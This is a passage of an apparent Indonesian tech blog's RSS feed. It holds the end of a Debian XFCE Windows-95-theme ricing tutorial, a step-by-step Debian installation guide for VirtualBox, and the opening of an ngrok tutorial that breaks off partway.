&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;1080&quot; height=&quot;663&quot; src=&quot;/_astro/gif6.BE82y1Qe_1L2ACK.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Sekarang, penampakan panel kita sudah lebih baik dari sebelumnya:
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;1918&quot; height=&quot;68&quot; src=&quot;/_astro/ss31.MZGLOqoZ_1cfDqH.webp&quot; /&gt;&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;c. Wallpaper&lt;a href=&quot;#c-wallpaper&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Wallpaper Windows 95 dapat diunduh dari wallpaperflace &lt;a href=&quot;https://www.wallpaperflare.com/microsoft-windows-95-logo-digital-art-copy-space-no-people-wallpaper-pmwwg/download&quot; target=&quot;_blank&quot;&gt;di sini&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;Dan kita bisa pasang wallpapernya dengan cara:&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;Buka &lt;strong&gt;File Manager (Thunar)&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Masuk ke direktori tempat mengunduh file wallpaper tadi (saya di direktori &lt;strong&gt;Downloads&lt;/strong&gt;)&lt;/li&gt;
&lt;li&gt;Klik kanan di file wallpaper-nya, dan pilih &lt;strong&gt;Set as wallpaper&lt;/strong&gt;
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;1080&quot; height=&quot;663&quot; src=&quot;/_astro/gif8.Ch9IBBN2_1UjihR.webp&quot; /&gt;&lt;/li&gt;
&lt;/ol&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;d. Terminal &amp;amp; Neofetch&lt;a href=&quot;#d-terminal--neofetch&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Kalau kita buka terminal, maka tampilan terminal, berikut juga prompt-nya akan seperti ini:
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;753&quot; height=&quot;509&quot; src=&quot;/_astro/ss32.inWpWlVT_1TFmmO.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Terlihat ada jarak dari keterangan prompt yang ada di paling atas dengan window bagian dalam terminalnya. Menurut saya ini kurang nyaman dipandang sehingga saya ingin agar prompt tersebut
dapat berada tepat di bawah window bagian dalam terminal. Kita bisa mengubahnya dengan menghapus 2 baris &lt;strong&gt;echo&lt;/strong&gt; yang terdapat di file &lt;code&gt;.bashrc&lt;/code&gt;.&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;nano&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;.bashrc&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;1080&quot; height=&quot;712&quot; src=&quot;/_astro/gif9.DpQ7lQbI_14utTD.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Sekarang, tampilan terminal kita jadi sudah terlihat lebih ideal.
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;740&quot; height=&quot;520&quot; src=&quot;/_astro/ss33.AGS_7jIp_ZjKLFE.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Untuk &lt;strong&gt;Neofetch&lt;/strong&gt;, kita bisa menambahkan baris berikut ke file &lt;code&gt;.bashrc&lt;/code&gt; tadi:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;alias&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;neofetch&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;&apos;neofetch --ascii_distro windows --disable model resolution cpu gpu&apos;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;806&quot; height=&quot;512&quot; src=&quot;/_astro/ss34.DYf7N3re_Z2nabPl.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Dengan konfigurasi neofetch tersebut, neofetch kita akan tampil sebagai berikut:
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;726&quot; height=&quot;522&quot; src=&quot;/_astro/ss35.tQ9H5hyY_Z1oKjc.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Sangat cantik!! :)&lt;/p&gt;&lt;p&gt;Sekian tutorial &lt;em&gt;Linux Ricing&lt;/em&gt; kali ini. Kira-kira Desktop XFCE Debian kalian sekarang akan memiliki penampilan yang (sangat) berbeda dari aslinya.&lt;/p&gt;&lt;p&gt;Berikut adalah Desktop XFCE Debian kalian sekarang setelah dipoles skin care kustomisasi tema &lt;a href=&quot;https://github.com/grassmunk/Chicago95&quot; target=&quot;_blank&quot;&gt;Chicago95 by Grassmunk&lt;/a&gt;:
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;1080&quot; height=&quot;567&quot; src=&quot;/_astro/gif10.DG0HCFmb_Z2uKQMB.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Saya juga menonton video Youtube ini&lt;sup&gt;&lt;a href=&quot;#user-content-fn-2&quot;&gt;2&lt;/a&gt;&lt;/sup&gt; sebagai referensi untuk membuat &lt;em&gt;rice&lt;/em&gt; ini!&lt;/p&gt;
&lt;p&gt;Sampai jumpa lagi! :)&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Footnotes&lt;a href=&quot;#footnote-label&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://init.web.id/membahas-linux-ricing/&quot; target=&quot;_blank&quot;&gt;https://init.web.id/membahas-linux-ricing/&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-1&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=g-1B2QRtoxM&quot; target=&quot;_blank&quot;&gt;https://www.youtube.com/watch?v=g-1B2QRtoxM&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-2&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/section&gt;</content:encoded></item><item><title>Debian Linux Installation in Virtualbox</title><link>https://shangdi.github.io/posts/tech/debian-installation/</link><guid isPermaLink="true">https://shangdi.github.io/posts/tech/debian-installation/</guid><description>A baby guide to install Debian Linux distribution as virtual machine in Virtalbox.</description><pubDate>Mon, 15 Apr 2024 00:45:05 GMT</pubDate><content:encoded>&lt;section&gt;&lt;h1&gt;Pra Instalasi&lt;a href=&quot;#pra-instalasi&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h1&gt;&lt;p&gt;Hola!&lt;/p&gt;&lt;p&gt;Kali ini saya akan memberikan tutorial instalasi salah satu distro linux legendaris, Debian. Saya akan menginstall Debian sebagai VM (&lt;em&gt;virtual machine&lt;/em&gt;) di Virtualbox. Namun, sebelum saya melakukan instalasi, ada beberapa catatan berikut yang perlu diperhatikan:&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;Mengunduh &amp;amp; Menginstall Virtualbox (&lt;a href=&quot;https://www.virtualbox.org/wiki/Downloads&quot; target=&quot;_blank&quot;&gt;di sini&lt;/a&gt;)&lt;/li&gt;
&lt;li&gt;Mengunduh file ISO debian (&lt;a href=&quot;https://www.debian.org/download&quot; target=&quot;_blank&quot;&gt;di sini&lt;/a&gt;)&lt;/li&gt;
&lt;/ol&gt;&lt;/section&gt;
&lt;section&gt;&lt;h1&gt;Instalasi&lt;a href=&quot;#instalasi&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h1&gt;&lt;p&gt;Sekarang, kita masuk ke tahap instalasi…&lt;/p&gt;&lt;section&gt;&lt;h2&gt;Membuat VM di Virtualbox&lt;a href=&quot;#membuat-vm-di-virtualbox&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;section&gt;&lt;h3&gt;1. Klik “New” di interface Virtualbox&lt;a href=&quot;#1-klik-new-di-interface-virtualbox&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;907&quot; height=&quot;525&quot; src=&quot;/_astro/ss1.CV_Uttl3_2uvFbR.webp&quot; /&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;2. Isi bagian&lt;a href=&quot;#2-isi-bagian&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Name&lt;/strong&gt;, bebas, bisa diisi dengan nama distronya. Saya namai VM ini dengan “Debian”.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Folder&lt;/strong&gt;, dibiarkan &lt;em&gt;default&lt;/em&gt; saja&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ISO Image&lt;/strong&gt;, masukkan file ISO Debian yang sudah diunduh sebelumnya&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Skip Unattended Installation&lt;/strong&gt;, diceklis
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;900&quot; height=&quot;516&quot; src=&quot;/_astro/ss2.Dmp4cXWf_Z2ezYOt.webp&quot; /&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;Klik “Next”.&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;3. Setting RAM &amp;amp; Prosesor (core)&lt;a href=&quot;#3-setting-ram--prosesor-core&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Untuk RAM, 1 GB (1024 MB) cukup. Prosesornya juga dikasih 1 core juga cukup.
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;899&quot; height=&quot;520&quot; src=&quot;/_astro/ss3.DeRdqbdj_Z21MwAn.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;“Next”&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;4. Mengalokasikan Hard Disk&lt;a href=&quot;#4-mengalokasikan-hard-disk&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;&lt;em&gt;Setting&lt;/em&gt; default untuk VM linux di 20 GB cukup.
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;897&quot; height=&quot;520&quot; src=&quot;/_astro/ss4.DTMOvOZ3_ZgjXU9.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;“Next”&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;5. Memastikan semua &lt;em&gt;setting&lt;/em&gt; sudah benar.&lt;a href=&quot;#5-memastikan-semua-setting-sudah-benar&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Jika semua &lt;em&gt;setting&lt;/em&gt;-nya sudah benar, klik “Finish”.
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;896&quot; height=&quot;525&quot; src=&quot;/_astro/ss5.DQJFrQfd_187iK.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;VM linux Debian kita sudah &lt;em&gt;ready&lt;/em&gt;.
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;899&quot; height=&quot;525&quot; src=&quot;/_astro/ss6.CgrZZ6CV_K5MF6.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Seharusnya, sekarang, proses instal VM linux Debian di Virtualbox sudah bisa dimulai. Tapi, ada satu &lt;em&gt;setting&lt;/em&gt; lagi yang perlu kita sesuaikan. Saya akan mengganti &lt;em&gt;setting&lt;/em&gt; jaringannya, dari “NAT” ke “Bridged Adapter” supaya &lt;em&gt;interface&lt;/em&gt;-nya dapat terhubung langsung dengan router wifi, “wlan0”.&lt;/p&gt;&lt;p&gt;Nama &lt;em&gt;interface&lt;/em&gt; ini (wlan0) belum tentu sama dengan nama &lt;em&gt;interface&lt;/em&gt; wifi yang muncul di kalian, silakan disesuaikan saja.&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;6. Mengubah interface “NAT” ke “Bridged Adapter”&lt;a href=&quot;#6-mengubah-interface-nat-ke-bridged-adapter&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Klik bagian “Setting”.
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;323&quot; height=&quot;108&quot; src=&quot;/_astro/ss7.DMaCG5zN_2aWE58.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Ke bagian “Network” dan ganti NAT ke “Bridged Adapter”.
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;852&quot; height=&quot;580&quot; src=&quot;/_astro/ss8.BgPRKd4k_ZDqOjC.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Selesai.&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;&lt;section&gt;&lt;h2&gt;Install Debian di Virtualbox&lt;a href=&quot;#install-debian-di-virtualbox&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Kita akan mulai proses instalasi Debian di Virtualbox dengan meng-klik “Start”.
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;315&quot; height=&quot;101&quot; src=&quot;/_astro/ss9.Ds7JQ_rC_zXALo.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Kita pilih yang “Graphical Install” supaya proses install Debian ini bisa lebih mudah.
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;692&quot; height=&quot;588&quot; src=&quot;/_astro/ss10.Dd2kY-nG_BOPOw.webp&quot; /&gt;&lt;/p&gt;&lt;section&gt;&lt;h3&gt;1. Pilih Bahasa&lt;a href=&quot;#1-pilih-bahasa&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Pilih bahasa default (English).
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;800&quot; height=&quot;650&quot; src=&quot;/_astro/ss11.B3w5Lz1T_Z1U2rOv.webp&quot; /&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;2. Set Lokasi&lt;a href=&quot;#2-set-lokasi&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Karena lokasi saya sekarang di Indonesia, saya akan pilih Indonesia.&lt;/p&gt;&lt;p&gt;“other” -&amp;gt; “Asia” -&amp;gt; “Indonesia”
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;800&quot; height=&quot;650&quot; src=&quot;/_astro/ss12.ByZInwxt_Z1RO1sk.webp&quot; /&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;3. Set locale&lt;a href=&quot;#3-set-locale&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Biarkan default saja di “en_US.UTF-8”
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;800&quot; height=&quot;650&quot; src=&quot;/_astro/ss13.DcnY_czD_ZXeTd8.webp&quot; /&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;4. Pilih keyboard&lt;a href=&quot;#4-pilih-keyboard&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Default di “American English”
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;800&quot; height=&quot;650&quot; src=&quot;/_astro/ss14.RXUNzXuE_Z1YYUYs.webp&quot; /&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;5. Hostname&lt;a href=&quot;#5-hostname&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Hostname dimaksudkan untuk memberi nama komputer kita. Biarkan default di “Default”.
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;800&quot; height=&quot;650&quot; src=&quot;/_astro/ss15.CrZJX7gu_1LoXzv.webp&quot; /&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;6. Domain Name&lt;a href=&quot;#6-domain-name&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Domain name dikosongkan saja…
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;800&quot; height=&quot;650&quot; src=&quot;/_astro/ss16.x3ezerPV_22zjfK.webp&quot; /&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;7. Set Root Password&lt;a href=&quot;#7-set-root-password&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Masukkan password untuk root…
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;800&quot; height=&quot;650&quot; src=&quot;/_astro/ss17.Cw_e56x6_1PJgfK.webp&quot; /&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;8. Buat Akun&lt;a href=&quot;#8-buat-akun&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Buat Full Name akun user. Di sini saya hanya isi nama panggilan saja…
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;800&quot; height=&quot;650&quot; src=&quot;/_astro/ss18-a.Fv4k6GQV_zFHdT.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Dan nama usernya, juga…
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;800&quot; height=&quot;650&quot; src=&quot;/_astro/ss18-b.Cn6r7QN7_128Mc4.webp&quot; /&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;9. Set User Password&lt;a href=&quot;#9-set-user-password&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Jangan lupa buat password untuk user yang sudah dibuat tadi…
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;800&quot; height=&quot;650&quot; src=&quot;/_astro/ss19.Cd9QfrqN_1V8vGA.webp&quot; /&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;10. Clock&lt;a href=&quot;#10-clock&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Karena saya ada di lokasi WIB (Waktu Indonesia Barat), maka saya pilih yang “Western”.&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;11. Partisi&lt;a href=&quot;#11-partisi&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Untuk alasan kemudahan, pilih “Guided - use entire disk”.
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;800&quot; height=&quot;650&quot; src=&quot;/_astro/ss21.B48ff7PY_14GWab.webp&quot; /&gt;
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;800&quot; height=&quot;650&quot; src=&quot;/_astro/ss22.CRELXYez_Z2ckIMN.webp&quot; /&gt;
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;800&quot; height=&quot;650&quot; src=&quot;/_astro/ss23.DgYaCR9P_1FBkiE.webp&quot; /&gt;
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;800&quot; height=&quot;650&quot; src=&quot;/_astro/ss24.DoYV7wYB_Z1YwFks.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;&lt;em&gt;Write The Changes to Disks?&lt;/em&gt; &lt;strong&gt;Yes&lt;/strong&gt;
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;800&quot; height=&quot;650&quot; src=&quot;/_astro/ss25.BD1iUiwk_rvkn1.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Kemudian, biarkan proses instalasi &lt;em&gt;base system&lt;/em&gt; berjalan…
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;800&quot; height=&quot;650&quot; src=&quot;/_astro/ss26.DlUCOXxU_iMhx5.webp&quot; /&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;12. Package Manager&lt;a href=&quot;#12-package-manager&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;&lt;em&gt;Scan extra installation media?&lt;/em&gt; &lt;strong&gt;No&lt;/strong&gt;
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;800&quot; height=&quot;650&quot; src=&quot;/_astro/ss27.DBDvENoD_Z15EXuh.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Untuk mirror-nya, saya pilih server di Indonesia, supaya ketika install &lt;em&gt;package&lt;/em&gt; bisa lebih cepat dan gak nge-lag.&lt;/p&gt;&lt;p&gt;“Indonesia” -&amp;gt; “mirror.poliwangi.ac.id”
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;800&quot; height=&quot;650&quot; src=&quot;/_astro/ss28.DwcLg8RZ_1k8XMW.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;HTTP Proxy dikosongkan saja…
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;800&quot; height=&quot;650&quot; src=&quot;/_astro/ss29.Bu9qODy-_ZCqrd4.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Biarkan proses instalasi berjalan, proses ini mungkin akan memakan waktu yang cukup banyak, tergantung koneksi internet…
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;800&quot; height=&quot;650&quot; src=&quot;/_astro/ss30.DAGTsXnu_Z2g6RAb.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;&lt;em&gt;Participate in the package usage survey?&lt;/em&gt; &lt;strong&gt;No&lt;/strong&gt;
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;800&quot; height=&quot;650&quot; src=&quot;/_astro/ss31.BQCWVo4o_Z1KgaOl.webp&quot; /&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;13. Memilih &lt;em&gt;Desktop Environment&lt;/em&gt; (DE)&lt;a href=&quot;#13-memilih-desktop-environment-de&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Di tengah-tengah proses instalasi, kita akan disuguhkan pada list beberapa &lt;em&gt;Desktop Environment&lt;/em&gt; (DE) yang dapat diinstall serta beberapa &lt;em&gt;software&lt;/em&gt; lainnya. Di sini, saya akan menginstall Xfce dan SSH Server. Pastikan “&lt;em&gt;standard system utilities&lt;/em&gt;” sudah terceklis…
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;800&quot; height=&quot;650&quot; src=&quot;/_astro/ss32.D4n_xGsM_25Mv7F.webp&quot; /&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;14. GRUB boot loader&lt;a href=&quot;#14-grub-boot-loader&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Pastikan untuk menceklis &lt;strong&gt;Yes&lt;/strong&gt; pada bagian “&lt;em&gt;Install the grub boot loader to your primary drive?&lt;/em&gt;” untuk memastikan agar kita bisa &lt;em&gt;booting&lt;/em&gt; Debian ini pasca instalasi.
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;800&quot; height=&quot;650&quot; src=&quot;/_astro/ss33.C5rlmXJW_961Gf.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Dan pilih drive yang sudah kita set sebelumnya untuk menginstall linux Debian ini sebagai drive untuk &lt;em&gt;booting&lt;/em&gt;…
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;800&quot; height=&quot;650&quot; src=&quot;/_astro/ss34.COEZu00J_WdT42.webp&quot; /&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;15. Finish The Installation&lt;a href=&quot;#15-finish-the-installation&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;800&quot; height=&quot;650&quot; src=&quot;/_astro/ss35.BPAcCpc__Rx94f.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Jika sudah berhasil sampai di sini, berarti kita sudah sampai di ujung proses instalasi. Tinggal dilanjutkan. Biarkan proses &lt;em&gt;booting&lt;/em&gt;-nya berjalan hingga menampilkan &lt;em&gt;login screen&lt;/em&gt; berikut, masukkan username dan password…
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;800&quot; height=&quot;650&quot; src=&quot;/_astro/ss36.B2SHlO2q_Z1OFMW1.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Login…
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;800&quot; height=&quot;650&quot; src=&quot;/_astro/ss37.kJ9FiK9k_wAKro.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Dan kita berhasil menginstall linux Debian di Virtualbox.
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;1360&quot; height=&quot;768&quot; src=&quot;/_astro/ss38.3fQOU4BF_W0v2v.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Oke. Saya cukupkan sampai di sini untuk tutorial instalasi linux Debian di Virtualbox kali ini.&lt;/p&gt;&lt;p&gt;Sampai jumpa di tutorial berikutnya! :)&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;</content:encoded></item><item><title>Ngrok - Make Your localhost Accessible Publicly</title><link>https://shangdi.github.io/posts/tech/ngrok/</link><guid isPermaLink="true">https://shangdi.github.io/posts/tech/ngrok/</guid><description>ngrok is a globally distributed reverse proxy that secures, protects and accelerates your applications and network services, no matter where you run them.</description><pubDate>Tue, 02 Apr 2024 10:30:12 GMT</pubDate><content:encoded>&lt;section&gt;&lt;h1&gt;Ngrok?&lt;a href=&quot;#ngrok&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h1&gt;&lt;p&gt;Ngrok bagi sebagian orang mungkin sudah faniliar karena sering digunakan untuk berbagai kebutuhan. Tapi, bagi yang belum tahu, ngrok secara sederhana dapat
didefinisikan sebagai aplikasi yang memungkinkan kita untuk mem-&lt;em&gt;publish&lt;/em&gt; server lokal kita di localhost ke publik dengan aman. Artinya, &lt;em&gt;service&lt;/em&gt; seperti
misalnya web di localhost (&lt;strong&gt;http&lt;/strong&gt;) atau bahkan &lt;strong&gt;SSH&lt;/strong&gt; dan &lt;strong&gt;RDP&lt;/strong&gt; dapat diakses di luar jaringan secara aman melalui bantuan dari Ngrok ini. Untuk detail teknisnya
sebentar lagi kita akan lihat demonya.&lt;/p&gt;&lt;p&gt;Oiya, untuk &lt;em&gt;spelling&lt;/em&gt; atau cara baca nama aplikasi ini saya juga tidak terlalu yakin, tapi saya menyebutnya dengan &lt;code&gt;en-ji-rok&lt;/code&gt;, bukan en-grok apalagi nge-rok.&lt;/p&gt;&lt;/section&gt;
&lt;section&gt;&lt;h1&gt;Instalasi&lt;a href=&quot;#instalasi&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h1&gt;&lt;p&gt;Merujuk pada halaman &lt;em&gt;official&lt;/em&gt; Ngrok, kita dapat menginstall Ngrok di&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;Windows&lt;/li&gt;
&lt;li&gt;Mac OS&lt;/li&gt;
&lt;li&gt;Linux&lt;/li&gt;
&lt;li&gt;Docker, dan&lt;/li&gt;
&lt;li&gt;FreeBSD&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;Namun, di blog ini, saya hanya akan melampirkan detail instalasi di linux saja karena setidaknya 2 alasan:&lt;/p&gt;&lt;ul&gt;
